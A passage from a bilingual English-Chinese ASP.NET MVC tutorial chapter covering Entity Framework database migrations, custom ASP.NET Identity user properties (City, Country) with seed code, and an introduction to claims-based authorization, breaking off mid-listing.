table-striped"><tr><th>City</th><td>@Model.City</td></tr></table></div> @using (Html.BeginForm()) {<div class="form-group"><label>City</label>@Html.DropDownListFor(x => x.City, new SelectList(Enum.GetNames(typeof(Cities))))</div><button class="btn btn-primary" type="submit">Save</button>} Caution Don’t start the application when you have created the view. In the sections that follow, I demonstrate how to preserve the contents of the database, and if you start the application now, the ASP.NET Identity users will be deleted. 警告:创建了视图之后不要启动应用程序。在以下小节中,将演示如何保留数据库的内容,如果现在启动应用程序,将会删除ASP.NET Identity的用户。 15.2.2 Preparing for Database Migration 15.2.2 准备数据库迁移 The default behavior for the Entity Framework Code First feature is to drop the tables in the database and re-create them whenever classes that drive the schema have changed. You saw this in Chapter 14 when I added support for roles: When the application was started, the database was reset, and the user accounts were lost. Entity Framework Code First特性的默认行为是,一旦修改了派生数据库架构的类,便会删除数据库中的数据表,并重新创建它们。在第14章可以看到这种情况,在我添加角色支持时:当重启应用程序后,数据库被重置,用户账号也丢失。 Don’t start the application yet, but if you were to do so, you would see a similar effect. Deleting data during development is usually not a problem, but doing so in a production setting is usually disastrous because it deletes all of the real user accounts and causes a panic while the backups are restored. In this section, I am going to demonstrate how to use the database migration feature, which updates a Code First schema in a less brutal manner and preserves the existing data it contains. 不要启动应用程序,但如果你这么做了,会看到类似的效果。在开发期间删除数据没什么问题,但如果在产品设置中这么做了,通常是灾难性的,因为它会删除所有真实的用户账号,而备份恢复是很痛苦的事。在本小节中,我打算演示如何使用数据库迁移特性,它能以比较温和的方式更新Code First的架构,并保留架构中的已有数据。 The first step is to issue the following command in the Visual Studio Package Manager Console: 第一个步骤是在Visual Studio的“Package Manager Console(包管理器控制台)”中发布以下命令: Enable-Migrations –EnableAutomaticMigrations This enables the database migration support and creates a Migrations folder in the Solution Explorer that contains a Configuration.cs class file, the contents of which are shown in Listing 15-4. 它启用了数据库的迁移支持,并在“Solution Explorer(解决方案资源管理器)”创建一个Migrations文件夹,其中含有一个Configuration.cs类文件,内容如清单15-4所示。 Listing 15-4. The Contents of the Configuration.cs File 清单15-4. Configuration.cs文件的内容 namespace Users.Migrations {using System;using System.Data.Entity;using System.Data.Entity.Migrations;using System.Linq;internal sealed class Configuration: DbMigrationsConfiguration<Users.Infrastructure.AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(Users.Infrastructure.AppIdentityDbContext context) {// This method will be called after migrating to the latest version.// 此方法将在迁移到最新版本时调用// You can use the DbSet<T>.AddOrUpdate() helper extension method// to avoid creating duplicate seed data. E.g.// 例如,你可以使用DbSet<T>.AddOrUpdate()辅助器方法来避免创建重复的种子数据//// context.People.AddOrUpdate(// p => p.FullName,// new Person { FullName = "Andrew Peters" },// new Person { FullName = "Brice Lambson" },// new Person { FullName = "Rowan Miller" }// );//} }} Tip You might be wondering why you are entering a database migration command into the console used to manage NuGet packages. The answer is that the Package Manager Console is really PowerShell, which is a general-purpose tool that is mislabeled by Visual Studio. You can use the console to issue a wide range of helpful commands. See http://go.microsoft.com/fwlink/?LinkID=108518 for details. 提示:你可能会觉得奇怪,为什么要在管理NuGet包的控制台中输入数据库迁移的命令?答案是“Package Manager Console(包管理控制台)”是真正的PowerShell,这是Visual studio冒用的一个通用工具。你可以使用此控制台发送大量的有用命令,详见http://go.microsoft.com/fwlink/?LinkID=108518。 The class will be used to migrate existing content in the database to the new schema, and the Seed method will be called to provide an opportunity to update the existing database records. In Listing 15-5, you can see how I have used the Seed method to set a default value for the new City property I added to the AppUser class. (I have also updated the class file to reflect my usual coding style.) 这个类将用于把数据库中的现有内容迁移到新的数据库架构,Seed方法的调用为更新现有数据库记录提供了机会。在清单15-5中可以看到,我如何用Seed方法为新的City属性设置默认值,City是添加到AppUser类中自定义属性。(为了体现我一贯的编码风格,我对这个类文件也进行了更新。) Listing 15-5. Managing Existing Content in the Configuration.cs File 清单15-5. 在Configuration.cs文件中管理已有内容 using System.Data.Entity.Migrations;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Infrastructure;using Users.Models;namespace Users.Migrations {internal sealed class Configuration: DbMigrationsConfiguration<AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(AppIdentityDbContext context) {AppUserManager userMgr = new AppUserManager(new UserStore<AppUser>(context));AppRoleManager roleMgr = new AppRoleManager(new RoleStore<AppRole>(context)); string roleName = "Administrators";string userName = "Admin";string password = "MySecret";string email = "admin@example.com";if (!roleMgr.RoleExists(roleName)) {roleMgr.Create(new AppRole(roleName));}AppUser user = userMgr.FindByName(userName);if (user == null) {userMgr.Create(new AppUser { UserName = userName, Email = email },password);user = userMgr.FindByName(userName);}if (!userMgr.IsInRole(user.Id, roleName)) {userMgr.AddToRole(user.Id, roleName);}foreach (AppUser dbUser in userMgr.Users) {dbUser.City = Cities.PARIS;}context.SaveChanges();} }} You will notice that much of the code that I added to the Seed method is taken from the IdentityDbInit class, which I used to seed the database with an administration user in Chapter 14. This is because the new Configuration class added to support database migrations will replace the seeding function of the IdentityDbInit class, which I’ll update shortly. Aside from ensuring that there is an admin user, the statements in the Seed method that are important are the ones that set the initial value for the City property I added to the AppUser class, as follows: 你可能会注意到,添加到Seed方法中的许多代码取自于IdentityDbInit类,在第14章中我用这个类将管理用户植入了数据库。这是因为这个新添加的、用以支持数据库迁移的Configuration类,将代替IdentityDbInit类的种植功能,我很快便会更新这个类。除了要确保有admin用户之外,在Seed方法中的重要语句是那些为AppUser类的City属性设置初值的语句,如下所示: ...foreach (AppUser dbUser in userMgr.Users) { dbUser.City = Cities.PARIS;}context.SaveChanges();... You don’t have to set a default value for new properties—I just wanted to demonstrate that the Seed method in the Configuration class can be used to update the existing user records in the database. 你不一定要为新属性设置默认值——这里只是想演示Configuration类中的Seed方法,可以用它更新数据库中的已有用户记录。 Caution Be careful when setting values for properties in the Seed method for real projects because the values will be applied every time you change the schema, overriding any values that the user has set since the last schema update was performed. I set the value of the City property just to demonstrate that it can be done. 警告:在用于真实项目的Seed方法中为属性设置值时要小心,因为你每一次修改架构时,都会运用这些值,这会将自执行上一次架构更新之后,用户设置的任何数据覆盖掉。这里设置City属性的值只是为了演示它能够这么做。 Changing the Database Context Class 修改数据库上下文类 The reason that I added the seeding code to the Configuration class is that I need to change the IdentityDbInit class. At present, the IdentityDbInit class is derived from the descriptively named DropCreateDatabaseIfModelChanges<AppIdentityDbContext> class, which, as you might imagine, drops the entire database when the Code First classes change. Listing 15-6 shows the changes I made to the IdentityDbInit class to prevent it from affecting the database. 在Configuration类中添加种植代码的原因是我需要修改IdentityDbInit类。此时,IdentityDbInit类派生于描述性命名的DropCreateDatabaseIfModelChanges<AppIdentityDbContext> 类,和你相像的一样,它会在Code First类改变时删除整个数据库。清单15-6显示了我对IdentityDbInit类所做的修改,以防止它影响数据库。 Listing 15-6. Preventing Database Schema Changes in the AppIdentityDbContext.cs File 清单15-6. 在AppIdentityDbContext.cs文件是阻止数据库架构变化 using System.Data.Entity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Models;using Microsoft.AspNet.Identity; namespace Users.Infrastructure {public class AppIdentityDbContext : IdentityDbContext<AppUser> {public AppIdentityDbContext() : base("IdentityDb") { }static AppIdentityDbContext() {Database.SetInitializer<AppIdentityDbContext>(new IdentityDbInit());}public static AppIdentityDbContext Create() {return new AppIdentityDbContext();} } public class IdentityDbInit : NullDatabaseInitializer<AppIdentityDbContext> {} } I have removed the methods defined by the class and changed its base to NullDatabaseInitializer<AppIdentityDbContext> , which prevents the schema from being altered. 我删除了这个类中所定义的方法,并将它的基类改为NullDatabaseInitializer<AppIdentityDbContext> ,它可以防止架构修改。 15.2.3 Performing the Migration 15.2.3 执行迁移 All that remains is to generate and apply the migration. First, run the following command in the Package Manager Console: 剩下的事情只是生成并运用迁移了。首先,在“Package Manager Console(包管理器控制台)”中执行以下命令: Add-Migration CityProperty This creates a new migration called CityProperty (I like my migration names to reflect the changes I made). A class new file will be added to the Migrations folder, and its name reflects the time at which the command was run and the name of the migration. My file is called 201402262244036_CityProperty.cs, for example. The contents of this file contain the details of how Entity Framework will change the database during the migration, as shown in Listing 15-7. 这创建了一个名称为CityProperty的新迁移(我比较喜欢让迁移的名称反映出我所做的修改)。这会在文件夹中添加一个新的类文件,而且其命名会反映出该命令执行的时间以及迁移名称,例如,我的这个文件名称为201402262244036_CityProperty.cs。该文件的内容含有迁移期间Entity Framework修改数据库的细节,如清单15-7所示。 Listing 15-7. The Contents of the 201402262244036_CityProperty.cs File 清单15-7. 201402262244036_CityProperty.cs文件的内容 namespace Users.Migrations {using System;using System.Data.Entity.Migrations; public partial class Init : DbMigration {public override void Up() {AddColumn("dbo.AspNetUsers", "City", c => c.Int(nullable: false));}public override void Down() {DropColumn("dbo.AspNetUsers", "City");} }} The Up method describes the changes that have to be made to the schema when the database is upgraded, which in this case means adding a City column to the AspNetUsers table, which is the one that is used to store user records in the ASP.NET Identity database. Up方法描述了在数据库升级时,需要对架构所做的修改,在这个例子中,意味着要在AspNetUsers数据表中添加City数据列,该数据表是ASP.NET Identity数据库用来存储用户记录的。 The final step is to perform the migration. Without starting the application, run the following command in the Package Manager Console: 最后一步是执行迁移。无需启动应用程序,只需在“Package Manager Console(包管理器控制台)”中运行以下命令即可: Update-Database –TargetMigration CityProperty The database schema will be modified, and the code in the Configuration.Seed method will be executed. The existing user accounts will have been preserved and enhanced with a City property (which I set to Paris in the Seed method). 这会修改数据库架构,并执行Configuration.Seed方法中的代码。已有用户账号会被保留,且增强了City属性(我在Seed方法中已将其设置为“Paris”)。 15.2.4 Testing the Migration 15.2.4 测试迁移 To test the effect of the migration, start the application, navigate to the /Home/UserProps URL, and authenticate as one of the Identity users (for example, as Alice with the password MySecret). Once authenticated, you will see the current value of the City property for the user and have the opportunity to change it, as shown in Figure 15-3. 为了测试迁移的效果,启动应用程序,导航到/Home/UserProps URL,并以Identity中的用户(例如Alice,口令MySecret)进行认证。一旦已被认证,便会看到该用户City属性的当前值,并可以对其进行修改,如图15-3所示。 Figure 15-3. Displaying and changing a custom user property 图15-3. 显示和个性自定义用户属性 15.2.5 Defining an Additional Property 15.2.5 定义附加属性 Now that database migrations are set up, I am going to define a further property just to demonstrate how subsequent changes are handled and to show a more useful (and less dangerous) example of using the Configuration.Seed method. Listing 15-8 shows how I added a Country property to the AppUser class. 现在,已经建立了数据库迁移,我打算再定义一个属性,这恰恰演示了如何处理持续不断的修改,也为了演示Configuration.Seed方法更有用(至少无害)的示例。清单15-8显示了我在AppUser类上添加了一个Country属性。 Listing 15-8. Adding Another Property in the AppUserModels.cs File 清单15-8. 在AppUserModels.cs文件中添加另一个属性 using System;using Microsoft.AspNet.Identity.EntityFramework; namespace Users.Models {public enum Cities {LONDON, PARIS, CHICAGO} public enum Countries {NONE, UK, FRANCE, USA}public class AppUser : IdentityUser {public Cities City { get; set; }public Countries Country { get; set; }public void SetCountryFromCity(Cities city) {switch (city) {case Cities.LONDON:Country = Countries.UK;break;case Cities.PARIS:Country = Countries.FRANCE;break;case Cities.CHICAGO:Country = Countries.USA;break;default:Country = Countries.NONE;break;} }} } I have added an enumeration to define the country names and a helper method that selects a country value based on the City property. Listing 15-9 shows the change I made to the Configuration class so that the Seed method sets the Country property based on the City, but only if the value of Country is NONE (which it will be for all users when the database is migrated because the Entity Framework sets enumeration columns to the first value). 我已经添加了一个枚举,它定义了国家名称。还添加了一个辅助器方法,它可以根据City属性选择一个国家。清单15-9显示了对Configuration类所做的修改,以使Seed方法根据City设置Country属性,但只当Country为NONE时才进行设置(在迁移数据库时,所有用户都是NONE,因为Entity Framework会将枚举列设置为枚举的第一个值)。 Listing 15-9. Modifying the Database Seed in the Configuration.cs File 清单15-9. 在Configuration.cs文件中修改数据库种子 using System.Data.Entity.Migrations;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.EntityFramework;using Users.Infrastructure;using Users.Models; namespace Users.Migrations {internal sealed class Configuration: DbMigrationsConfiguration<AppIdentityDbContext> {public Configuration() {AutomaticMigrationsEnabled = true;ContextKey = "Users.Infrastructure.AppIdentityDbContext";}protected override void Seed(AppIdentityDbContext context) {AppUserManager userMgr = new AppUserManager(new UserStore<AppUser>(context));AppRoleManager roleMgr = new AppRoleManager(new RoleStore<AppRole>(context)); string roleName = "Administrators";string userName = "Admin";string password = "MySecret";string email = "admin@example.com";if (!roleMgr.RoleExists(roleName)) {roleMgr.Create(new AppRole(roleName));}AppUser user = userMgr.FindByName(userName);if (user == null) {userMgr.Create(new AppUser { UserName = userName, Email = email },password);user = userMgr.FindByName(userName);}if (!userMgr.IsInRole(user.Id, roleName)) {userMgr.AddToRole(user.Id, roleName);} foreach (AppUser dbUser in userMgr.Users) {if (dbUser.Country == Countries.NONE) {dbUser.SetCountryFromCity(dbUser.City);} }context.SaveChanges();} }} This kind of seeding is more useful in a real project because it will set a value for the Country property only if one has not already been set—subsequent migrations won’t be affected, and user selections won’t be lost. 这种种植在实际项目中会更有用,因为它只会在Country属性未设置时,才会设置Country属性的值——后继的迁移不会受到影响,因此不会失去用户的选择。 1. Adding Application Support 1. 添加应用程序支持 There is no point defining additional user properties if they are not available in the application, so Listing 15-10 shows the change I made to the Views/Home/UserProps.cshtml file to display the value of the Country property. 应用程序中如果没有定义附加属性的地方,则附加属性就无法使用了,因此,清单15-10显示了我对Views/Home/UserProps.cshtml文件的修改,以显示Country属性的值。 Listing 15-10. Displaying an Additional Property in the UserProps.cshtml File 清单15-10. 在UserProps.cshtml文件中显示附加属性 @using Users.Models@model AppUser@{ ViewBag.Title = "UserProps";} <div class="panel panel-primary"><div class="panel-heading">Custom User Properties</div><table class="table table-striped"><tr><th>City</th><td>@Model.City</td></tr> <tr><th>Country</th><td>@Model.Country</td></tr></table></div>@using (Html.BeginForm()) {<div class="form-group"><label>City</label>@Html.DropDownListFor(x => x.City, new SelectList(Enum.GetNames(typeof(Cities))))</div><button class="btn btn-primary" type="submit">Save</button>} Listing 15-11 shows the corresponding change I made to the Home controller to update the Country property when the City value changes. 为了在City值变化时能够更新Country属性,清单15-11显示了我对Home控制器所做的相应修改。 Listing 15-11. Setting Custom Properties in the HomeController.cs File 清单15-11. 在HomeController.cs文件中设置自定义属性 using System.Web.Mvc;using System.Collections.Generic;using System.Web;using System.Security.Principal;using System.Threading.Tasks;using Users.Infrastructure;using Microsoft.AspNet.Identity;using Microsoft.AspNet.Identity.Owin;using Users.Models; namespace Users.Controllers {public class HomeController : Controller {// ...other action methods omitted for brevity...// ...出于简化,这里忽略了其他动作方法... [Authorize]public ActionResult UserProps() {return View(CurrentUser);}[Authorize][HttpPost]public async Task<ActionResult> UserProps(Cities city) {AppUser user = CurrentUser;user.City = city;user.SetCountryFromCity(city);await UserManager.UpdateAsync(user);return View(user);}// ...properties omitted for brevity...// ...出于简化,这里忽略了一些属性...} } 2. Performing the Migration 2. 准备迁移 All that remains is to create and apply a new migration. Enter the following command into the Package Manager Console: 剩下的事情就是创建和运用新的迁移了。在“Package Manager Console(包管理器控制台)”中输入以下命令: Add-Migration CountryProperty This will generate another file in the Migrations folder that contains the instruction to add the Country column. To apply the migration, execute the following command: 这将在Migrations文件夹中生成另一个文件,它含有添加Country数据表列的指令。为了运用迁移,可执行以下命令: Update-Database –TargetMigration CountryProperty The migration will be performed, and the value of the Country property will be set based on the value of the existing City property for each user. You can check the new user property by starting the application and authenticating and navigating to the /Home/UserProps URL, as shown in Figure 15-4. 这将执行迁移,Country属性的值将根据每个用户当前的City属性进行设置。通过启动应用程序,认证并导航到/Home/UserProps URL,便可以查看新的用户属性,如图15-4所示。 Figure 15-4. Creating an additional user property 图15-4. 创建附加用户属性 Tip Although I am focused on the process of upgrading the database, you can also migrate back to a previous version by specifying an earlier migration. Use the –Force argument make changes that cause data loss, such as removing a column. 提示:虽然我们关注了升级数据库的过程,但你也可以回退到以前的版本,只需指定一个早期的迁移即可。使用-Force参数进行修改,会引起数据丢失,例如删除数据表列。 15.3 Working with Claims 15.3 使用声明(Claims) In older user-management systems, such as ASP.NET Membership, the application was assumed to be the authoritative source of all information about the user, essentially treating the application as a closed world and trusting the data that is contained within it. 在旧的用户管理系统中,例如ASP.NET Membership,应用程序被假设成是用户所有信息的权威来源,本质上将应用程序视为是一个封闭的世界,并且只信任其中所包含的数据。 This is such an ingrained approach to software development that it can be hard to recognize that’s what is happening, but you saw an example of the closed-world technique in Chapter 14 when I authenticated users against the credentials stored in the database and granted access based on the roles associated with those credentials. I did the same thing again in this chapter when I added properties to the user class. Every piece of information that I needed to manage user authentication and authorization came from within my application—and that is a perfectly satisfactory approach for many web applications, which is why I demonstrated these techniques in such depth. 这是软件开发的一种根深蒂固的方法,使人很难认识到这到底意味着什么,第14章你已看到了这种封闭世界技术的例子,根据存储在数据库中的凭据来认证用户,并根据与凭据关联在一起的角色来授权访问。本章前述在用户类上添加属性,也做了同样的事情。我管理用户认证与授权所需的每一个数据片段都来自于我的应用程序——而且这是许多Web应用程序都相当满意的一种方法,这也是我如此深入地演示这些技术的原因。 ASP.NET Identity also supports an alternative approach for dealing with users, which works well when the MVC framework application isn’t the sole source of information about users and which can be used to authorize users in more flexible and fluid ways than traditional roles allow. ASP.NET Identity还支持另一种处理用户的办法,当MVC框架的应用程序不是有关用户的唯一信息源时,这种办法会工作得很好,而且能够比传统的角色授权更为灵活且流畅的方式进行授权。 This alternative approach uses claims, and in this section I’ll describe how ASP.NET Identity supports claims-based authorization. Table 15-4 puts claims in context. 这种可选的办法使用了“Claims(声明)”,因此在本小节中,我将描述ASP.NET Identity如何支持“Claims-Based Authorization(基于声明的授权)”。表15-4描述了声明(Claims)的情形。 提示:“Claim”在英文字典中不完全是“声明”的意思,根据本文的描述,感觉把它说成“声明”也不一定合适,所以在之后的译文中基本都写成中英文并用的形式,即“声明(Claims)”。根据表15-4中的声明(Claims)的定义:声明(Claims)是关于用户的一些信息片段。一个用户的信息片段当然有很多,每一个信息片段就是一项声明(Claim),用户的所有信息片段合起来就是该用户的声明(Claims)。请读者注意该单词的单复数形式——译者注 Table 15-4. Putting Claims in Context 表15-4. 声明(Claims)的情形 Question 问题 Answer 答案 What is it? 什么是声明(Claims)? Claims are pieces of information about users that you can use to make authorization decisions. Claims can be obtained from external systems as well as from the local Identity database. 声明(Claims)是关于用户的一些信息片段,可以用它们做出授权决定。声明(Claims)可以从外部系统获取,也可以从本地的Identity数据库获取。 Why should I care? 为何要关心它? Claims can be used to flexibly authorize access to action methods. Unlike conventional roles, claims allow access to be driven by the information that describes the user. 声明(Claims)可以用来对动作方法进行灵活的授权访问。与传统的角色不同,声明(Claims)让访问能够由描述用户的信息进行驱动。 How is it used by the MVC framework? 如何在MVC框架中使用它? This feature isn’t used directly by the MVC framework, but it is integrated into the standard authorization features, such as the Authorize attribute. 这不是直接由MVC框架使用的特性,但它集成到了标准的授权特性之中,例如Authorize注解属性。 Tip you don’t have to use claims in your applications, and as Chapter 14 showed, ASP.NET Identity is perfectly happy providing an application with the authentication and authorization services without any need to understand claims at all. 提示:你在应用程序中不一定要使用声明(Claims),正如第14章所展示的那样,ASP.NET Identity能够为应用程序提供充分的认证与授权服务,而根本不需要理解声明(Claims)。 15.3.1 Understanding Claims 15.3.1 理解声明(Claims) A claim is a piece of information about the user, along with some information about where the information came from. The easiest way to unpack claims is through some practical demonstrations, without which any discussion becomes too abstract to be truly useful. To get started, I added a Claims controller to the example project, the definition of which you can see in Listing 15-12. 一项声明(Claim)是关于用户的一个信息片段(请注意这个英文单词的单复数形式——译者注),并伴有该片段出自何处的某种信息。揭开声明(Claims)含义最容易的方式是做一些实际演示,任何讨论都会过于抽象根本没有真正的用处。为此,我在示例项目中添加了一个Claims控制器,其定义如清单15-12所示。 Listing 15-12. The Contents of the ClaimsController.cs File 清单15-12. ClaimsController.cs文件的内容 using System.Security.Claims;using System.Web;using System.Web.Mvc; namespace Users.Controllers {public class ClaimsController : Controller {[Authorize]public ActionResult Index() {ClaimsIdentity ident = HttpContext.User.Identity as ClaimsIdentity;if (ident == null) {return View("Error", new string[] { "No claims available" });} else {return View(ident.Claims);} }} } Tip You may feel a little lost as I define the code for this example. Don’t worry about the details for the moment—just stick with it until you see the output from the action method and view that I define. More than anything else, that will help put claims into perspective. 提示:你或许会对我为此例定义的代码感到有点失望。此刻对此细节不必着急——只要稍事忍耐,当看到该动作方法和视图的输出便会明白。尤为重要的是,这有助于洞察声明(Claims)。 You can get the claims associated with a user in different ways. One approach is to use the Claims property defined by the user class, but in this example, I have used the HttpContext.User.Identity property to demonstrate the way that ASP.NET Identity is integrated with the rest of the ASP.NET platform. As I explained in Chapter 13, the HttpContext.User.Identity property returns an implementation of the IIdentity interface, which is a ClaimsIdentity object when working using ASP.NET Identity. The ClaimsIdentity class is defined in the System.Security.Claims namespace, and Table 15-5 shows the members it defines that are relevant to this chapter. 可以通过不同的方式获得与用户相关联的声明(Claims)。方法之一就是使用由用户类定义的Claims属性,但在这个例子中,我使用了HttpContext.User.Identity属性,目的是演示ASP.NET Identity与ASP.NET平台集成的方式(请注意这句话所表示的含义:用户类的Claims属性属于ASP.NET Identity,而HttpContext.User.Identity属性则属于ASP.NET平台。由此可见,ASP.NET Identity已经融合到了ASP.NET平台之中——译者注)。正如第13章所解释的那样,HttpContext.User.Identity属性返回IIdentity的接口实现,当使用ASP.NET Identity时,该实现是一个ClaimsIdentity对象。ClaimsIdentity类是在System.Security.Claims命名空间中定义的,表15-5显示了它所定义的与本章有关的成员。 Table 15-5. The Members Defined by the ClaimsIdentity Class 表15-5. ClaimsIdentity类所定义的成员 Name 名称 Description 描述 Claims Returns an enumeration of Claim objects representing the claims for the user. 返回表示用户声明(Claims)的Claim对象枚举 AddClaim(claim) Adds a claim to the user identity. 给用户添加一个声明(Claim) AddClaims(claims) Adds an enumeration of Claim objects to the user identity. 给用户添加Claim对象的枚举。 HasClaim(predicate) Returns true if the user identity contains a claim that matches the specified predicate. See the “Applying Claims” section for an example predicate. 如果用户含有与指定谓词匹配的声明(Claim)时,返回true。参见“运用声明(Claims)”中的示例谓词 RemoveClaim(claim) Removes a claim from the user identity. 删除用户的声明(Claim)。 Other members are available, but the ones in the table are those that are used most often in web applications, for reason that will become obvious as I demonstrate how claims fit into the wider ASP.NET platform. 还有一些可用的其它成员,但表中的这些是在Web应用程序中最常用的,随着我演示如何将声明(Claims)融入更宽泛的ASP.NET平台,它们为什么最常用就很显然了。 In Listing 15-12, I cast the IIdentity implementation to the ClaimsIdentity type and pass the enumeration of Claim objects returned by the ClaimsIdentity.Claims property to the View method. A Claim object represents a single piece of data about the user, and the Claim class defines the properties shown in Table 15-6. 在清单15-12中,我将IIdentity实现转换成了ClaimsIdentity类型,并且给View方法传递了ClaimsIdentity.Claims属性所返回的Claim对象的枚举。Claim对象所示表示的是关于用户的一个单一的数据片段,Claim类定义的属性如表15-6所示。 Table 15-6. The Properties Defined by the Claim Class 表15-6. Claim类定义的属性 Name 名称 Description 描述 Issuer Returns the name of the system that provided the claim 返回提供声明(Claim)的系统名称 Subject Returns the ClaimsIdentity object for the user who the claim refers to 返回声明(Claim)所指用户的ClaimsIdentity对象 Type Returns the type of information that the claim represents 返回声明(Claim)所表示的信息类型 Value Returns the piece of information that the claim represents 返回声明(Claim)所表示的信息片段 Listing 15-13 shows the contents of the Index.cshtml file that I created in the Views/Claims folder and that is rendered by the Index action of the Claims controller. The view adds a row to a table for each claim about the user. 清单15-13显示了我在Views/Claims文件夹中创建的Index.cshtml文件的内容,它由Claims控制器中的Index动作方法进行渲染。该视图为用户的每项声明(Claim)添加了一个表格行。 Listing 15-13. The Contents of the Index.cshtml File in the Views/Claims Folder 清单15-13. Views/Claims文件夹中Index.cshtml文件的内容 @using System.Security.Claims@using Users.Infrastructure@model IEnumerable<Claim>@{ ViewBag.Title = "Claims"; }<div class="panel panel-primary"><div class="panel-heading">Claims</div><table class="table table-striped"><tr><th>Subject</th><th>Issuer</th><th>Type</th><th>Value</th></tr>@foreach (Claim claim in Model.OrderBy(x => x.Type)) {<tr><td>@claim.Subject.Name</td><td>@claim.Issuer</td><td>@Html.ClaimType(claim.Type)</td><td>@claim.Value</td></tr>}</table></div> The value of the Claim.Type property is a URI for a Microsoft schema, which isn’t especially useful. The popular schemas are used as the values for fields in the System.Security.Claims.ClaimTypes class, so to make the output from the Index.cshtml view easier to read, I added an HTML helper to the IdentityHelpers.cs file, as shown in Listing 15-14. It is this helper that I use in the Index.cshtml file to format the value of the Claim.Type property. Claim.Type属性的值是一个微软模式(Microsoft Schema)的URI(统一资源标识符),这是特别有用的。System.Security.Claims.ClaimTypes类中字段的值使用的是流行模式(Popular Schema),因此为了使Index.cshtml视图的输出更易于阅读,我在IdentityHelpers.cs文件中添加了一个HTML辅助器,如清单15-14所示。Index.cshtml文件正是使用这个辅助器格式化了Claim.Type属性的值。 Listing 15-14. Adding a Helper to the IdentityHelpers.cs File 清单15-14. 在IdentityHelpers.cs文件中添加辅助器 using System.Web;using System.Web.Mvc;using Microsoft.AspNet.Identity.Owin;using System;using System.Linq;using System.Reflection;using System.Security.Claims;namespace Users.Infrastructure {public static class IdentityHelpers {public static MvcHtmlString GetUserName(this HtmlHelper html, string id) {AppUserManager mgr= HttpContext.Current.GetOwinContext().GetUserManager<AppUserManager>();return new MvcHtmlString(mgr.FindByIdAsync(id).Result.UserName);} public static MvcHtmlString ClaimType(this HtmlHelper html, string claimType) {FieldInfo[] fields = typeof(ClaimTypes).GetFields();foreach (FieldInfo field in fields) {if (field.GetValue(null).ToString() == claimType) {return new MvcHtmlString(field.Name);} }return new MvcHtmlString(string.Format("{0}",claimType.Split('/', '.').Last()));} }} Note The helper method isn’t at all efficient because it reflects on the fields of the ClaimType class for each claim that is displayed, but it is sufficient for my purposes in this chapter. You won’t often need to display the claim type in real applications. 注:该辅助器并非十分有效,因为它只是针对每个要显示的声明(Claim)映射出ClaimType类的字段,但对我要的目的已经足够了。在实际项目中不会经常需要显示声明(Claim)的类型。 To see why I have created a controller that uses claims without really explaining what they are, start the application, authenticate as the user Alice (with the password MySecret), and request the /Claims/Index URL. Figure 15-5 shows the content that is generated. 为了弄明白我为何要先创建一个使用声明(Claims)的控制器,而没有真正解释声明(Claims)是什么的原因,可以启动应用程序,以用户Alice进行认证(其口令是MySecret),并请求/Claims/Index URL。图15-5显示了生成的内容。 Figure 15-5. The output from the Index action of the Claims controller 图15-5. Claims控制器中Index动作的输出 It can be hard to make out the detail in the figure, so I have reproduced the content in Table 15-7. 这可能还难以认识到此图的细节,为此我在表15-7中重列了其内容。 Table 15-7. The Data Shown in Figure 15-5 表15-7. 图15-5中显示的数据 Subject(科目) Issuer(发行者) Type(类型) Value(值) Alice LOCAL AUTHORITY SecurityStamp Unique ID Alice LOCAL AUTHORITY IdentityProvider ASP.NET Identity Alice LOCAL AUTHORITY Role Employees Alice LOCAL AUTHORITY Role Users Alice LOCAL AUTHORITY Name Alice Alice LOCAL AUTHORITY NameIdentifier Alice’s user ID The table shows the most important aspect of claims, which is that I have already been using them when I implemented the traditional authentication and authorization features in Chapter 14. You can see that some of the claims relate to user identity (the Name claim is Alice, and the NameIdentifier claim is Alice’s unique user ID in my ASP.NET Identity database). 此表展示了声明(Claims)最重要的方面,这些是我在第14章中实现传统的认证和授权特性时,一直在使用的信息。可以看出,有些声明(Claims)与用户标识有关(Name声明是Alice,NameIdentifier声明是Alice在ASP.NET Identity数据库中的唯一用户ID号)。 Other claims show membership of roles—there are two Role claims in the table, reflecting the fact that Alice is assigned to both the Users and Employees roles. There is also a claim about how Alice has been authenticated: The IdentityProvider is set to ASP.NET Identity. 其他声明(Claims)显示了角色成员——表中有两个Role声明(Claim),体现出Alice被赋予了Users和Employees两个角色这一事实。还有一个是Alice已被认证的声明(Claim):IdentityProvider被设置到了ASP.NET Identity。 The difference when this information is expressed as a set of claims is that you can determine where the data came from. The Issuer property for all the claims shown in the table is set to LOCAL AUTHORITY, which indicates that the user’s identity has been established by the application. 当这种信息被表示成一组声明(Claims)时的差别是,你能够确定这些数据是从哪里来的。表中所显示的所有声明的Issuer属性(发布者)都被设置到了LOACL AUTHORITY(本地授权),这说明该用户的标识是由应用程序建立的。 So, now that you have seen some example claims, I can more easily describe what a claim is. A claim is any piece of information about a user that is available to the application, including the user’s identity and role memberships. And, as you have seen, the information I have been defining about my users in earlier chapters is automatically made available as claims by ASP.NET Identity. 因此,现在你已经看到了一些声明(Claims)示例,我可以更容易地描述声明(Claim)是什么了。一项声明(Claim)是可用于应用程序中的有关用户的一个信息片段,包括用户的标识以及角色成员等。而且,正如你所看到的,我在前几章定义的关于用户的信息,被ASP.NET Identity自动地作为声明(Claims)了。 15.3.2 Creating and Using Claims 15.3.2 创建和使用声明(Claims) Claims are interesting for two reasons. The first reason is that an application can obtain claims from multiple sources, rather than just relying on a local database for information about the user. You will see a real example of this when I show you how to authenticate users through a third-party system in the “Using Third-Party Authentication” section, but for the moment I am going to add a class to the example project that simulates a system that provides claims information. Listing 15-15 shows the contents of the LocationClaimsProvider.cs file that I added to the Infrastructure folder. 声明(Claims)比较有意思的原因有两个。第一个原因是应用程序可以从多个来源获取声明(Claims),而不是只能依靠本地数据库关于用户的信息。你将会看到一个实际的示例,在“使用第三方认证”小节中,将演示如何通过第三方系统来认证用户。不过,此刻我只打算在示例项目中添加一个类,用以模拟一个提供声明(Claims)信息的系统。清单15-15显示了我添加到Infrastructure文件夹中LocationClaimsProvider.cs文件的内容。 Listing 15-15. The Contents of the LocationClaimsProvider.cs File 清单15-15. LocationClaimsProvider.cs文件的内容 using System.Collections.Generic;using System.Security.Claims; namespace Users.Infrastructure {public static class 